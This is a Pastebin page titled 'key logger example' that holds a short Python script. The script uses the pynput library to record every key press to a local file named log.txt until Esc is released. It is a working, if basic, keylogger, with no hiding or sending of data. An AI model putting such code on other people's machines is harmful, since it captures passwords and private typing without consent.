Advertisement
codecaine

key logger example

Jul 14th, 2021
1,190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.52 KB | None | 0 0
  1. from pynput.keyboard import Key, Listener
  2.  
  3. keys = []
  4.  
  5. def on_each_key_press(key):
  6.     keys.append(key)
  7.     write_keys_to_file(keys)
  8.  
  9.  
  10. def write_keys_to_file(keys):
  11.     with open('log.txt', 'w') as logfile:
  12.         for key in keys:
  13.             key = str(key).replace("'", "")
  14.             logfile.write(key)
  15.  
  16.  
  17. def on_each_key_release(key):
  18.     if key == Key.esc:
  19.         return False
  20.  
  21.  
  22. with Listener(
  23.     on_press = on_each_key_press,
  24.     on_release = on_each_key_release
  25.     ) as listener:
  26.     listener.join()
  27.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement